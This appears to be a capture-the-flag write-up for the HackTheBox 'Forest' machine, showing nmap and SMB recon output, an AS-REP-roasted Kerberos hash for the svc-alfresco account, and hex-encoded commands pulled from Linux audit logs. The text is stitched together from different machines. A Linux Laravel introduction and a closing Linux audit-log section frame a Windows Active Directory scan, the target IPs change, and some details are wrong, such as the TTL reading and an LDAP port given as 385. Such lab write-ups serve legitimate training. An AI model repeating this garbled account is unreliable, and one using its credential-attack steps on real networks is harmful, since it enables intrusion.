Forest is an easy-rated Linux machine from HackTheBox, created by egre55 and mrb3n. In the current post, my IP is 10.10.14.131, and the target IP is 10.129.110.133
This machine features an apache server hosting a PHP website. The website doesn't look special until you intercept the registration process, where you can change a obvious parameter to change your privileges to that account, then when you fuzz the website, you find an admin login url. In that URL there is an sub-domain with error logs from Laravel, revealing in the process the API_KEY used for an exploit for RCE. Inside the machine, there are a lot of techniques used to pivot between users and the change your user to root.
Recon
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
Local Terminal
$ping-c110.129.110.133PING10.129.110.133 (10.129.110.133) 56(84) bytes of data.64bytesfrom10.129.110.133:icmp_seq=1ttl=62time=185ms---10.129.110.133pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=185.427/185.427/185.427/0.000ms
By the TTL (Close to 128), we can assume that is a Window Machine.
Nmapscanreportfor10.129.159.205Hostisup (0.15s latency).PORTSTATESERVICEVERSION53/tcpopendomainSimpleDNSPlus88/tcpopenkerberos-secMicrosoftWindowsKerberos (server time:2023-06-1213:46:50Z)135/tcpopenmsrpcMicrosoftWindowsRPC139/tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcpopenmicrosoft-dsWindowsServer2016Standard14393microsoft-ds (workgroup: HTB)464/tcpopenkpasswd5?593/tcpopenncacn_httpMicrosoftWindowsRPCoverHTTP1.0636/tcpopenldapssl?3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcpopenglobalcatLDAPssl?5985/tcpopenhttpMicrosoftHTTPAPIhttpd2.0 (SSDP/UPnP)|_http-title:NotFound|_http-server-header:Microsoft-HTTPAPI/2.09389/tcpopenmc-nmf.NETMessageFraming47001/tcpopenhttpMicrosoftHTTPAPIhttpd2.0 (SSDP/UPnP)|_http-title:NotFound|_http-server-header:Microsoft-HTTPAPI/2.049664/tcpopenmsrpcMicrosoftWindowsRPC49665/tcpopenmsrpcMicrosoftWindowsRPC49666/tcpopenmsrpcMicrosoftWindowsRPC49667/tcpopenmsrpcMicrosoftWindowsRPC49671/tcpopenmsrpcMicrosoftWindowsRPC49676/tcpopenncacn_httpMicrosoftWindowsRPCoverHTTP1.049677/tcpopenmsrpcMicrosoftWindowsRPC49681/tcpopenmsrpcMicrosoftWindowsRPC49695/tcpopenmsrpcMicrosoftWindowsRPC63040/tcpopenmsrpcMicrosoftWindowsRPCServiceInfo:Host:FOREST; OS:Windows; CPE:cpe:/o:microsoft:windowsHostscriptresults:|smb-security-mode:|account_used:<blank>|authentication_level:user|challenge_response:supported|_message_signing:required|smb2-security-mode:|3.1.1:|_Messagesigningenabledandrequired|smb2-time:|date:2023-06-12T13:47:53|_start_date:2023-06-12T13:02:41|smb-os-discovery:|OS:WindowsServer2016Standard14393 (Windows Server2016Standard6.3)|Computername:FOREST|NetBIOScomputername:FOREST\x00|Domainname:htb.local|Forestname:htb.local|FQDN:FOREST.htb.local|_Systemtime:2023-06-12T06:47:51-07:00|_clock-skew:mean:2h26m50s,deviation:4h02m30s,median:6m49s
From nmap we have a lot of information:
The port 53 (Simple DNS Plus) is open, this program could be vulnerable to Zone Transfer Attack.
Port 135 (MSRPC), the core of the "Remote Procedure Call", used to create and manage remote sessions
Port 385 (LDAP - Lightweight Directory Access Protocol), contain all the information about the Active Directory, enabling the access to files and devices inside the public or corporative intranet.
Through nmap we found the domain name, add it to "/etc/hosts" as "10.129.159.205 htb.local"
Local Terminal
$crackmapexecsmb10.129.159.205SMB 10.129.159.205 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
Ok, there is a Windows Server working.
LDAP Recon
From here, every command are specific steps to scan machines with LDAP orientation
<...>[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set$krb5asrep$23$svc-alfresco@HTB.LOCAL:3b0f368abedda0972f6ce084d710db99$59e079cf158fece898df6512b1ad9177bf4512f6b5f9e405f88f4485fb07846f4b4d15df5e62bf864a63e0789ba6f79052a9487b56ff27bd1b063f673e74cac3c2779ca8b3e3ef293c29f609410c77cae1850b35c88433f33b984c87e37ed7cddaf0e8c85bca533ff0d55b48c943e34dcef60afa22d34d0cac141dac63af6ef8d5716cbe8d479486eec96e3e85ddbbe3b4c72835bb3d552e3a47790efd1ad78170df5c27864de75ef4f7c0c93377c3df329e0223a132f7c03399e2ce98b087ac7414b540d0e983707d8beb0122d4391ed8df0263bb94fe5a30b87040d0368ca052c4feb27854
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set<...>
There is one user, called svc-alfresco vulnerable to this kind of attack, save the hash in a file and then decrypt.
Usually the logs located at /var/log/audit/ are important, but they have a LOT of information, a good alternative is to use "grep" to find relevant data.
Target Terminal [cry0l1t3]
$cd/var/log/audit/# Remember that our current uid is 1002, so we need another one.$grep-r"uid=1001"|grep"cmd"audit.log:type=USER_CMD msg=audit(1612880564.224:115): pid=1336 uid=1001 auid=1001 ses=1 msg='cwd="/home/mrb3n" cmd=636F6D706F736572202D2D776F726B696E672D6469723D2F746D702F746D702E6F4A4833443269514D322072756E2D7363726970742078 terminal=tty1 res=success'
audit.log:type=USER_CMD msg=audit(1612880564.412:119): pid=1353 uid=0 auid=1001 ses=1 msg='cwd="/tmp/tmp.oJH3D2iQM2" cmd=7375646F202D4B terminal=tty1 res=success'
audit.log:type=USER_CMD msg=audit(1612880607.016:128): pid=1788 uid=0 auid=1001 ses=1 msg='cwd="/tmp/tmp.oJH3D2iQM2" cmd=2F7573722F62696E2F656469746F72202D2D202F terminal=tty1 res=success'
<...># From here, we want:# 2F7573722F62696E2F656469746F72202D2D202F# Between "cmd=" and "terminal=
From here, we want a hash like "2F7573722F62696E2F656469746F72202D2D202F" between cmd= and Terminal=, to apply xxd -ps -r